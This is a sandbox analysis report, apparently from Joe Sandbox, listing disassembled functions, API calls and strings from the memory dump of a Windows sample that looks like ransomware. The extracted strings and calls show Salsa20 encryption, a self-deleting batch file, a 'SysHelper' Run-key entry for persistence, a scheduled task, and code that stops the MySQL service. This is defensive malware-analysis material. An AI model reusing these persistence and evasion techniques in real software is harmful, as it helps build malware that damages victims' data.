Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

" goto try, xrefs: 00412666
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674
TEMP, xrefs: 004125DF
"if exist ", xrefs: 00412648
D, xrefs: 00412720
@echo off:trydel ", xrefs: 0041262A
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
delself.bat, xrefs: 0041261C

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----END , xrefs: 0046382F, 00463940, 004639E4
, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21
-----BEGIN , xrefs: 004636A4

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(008456A8), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

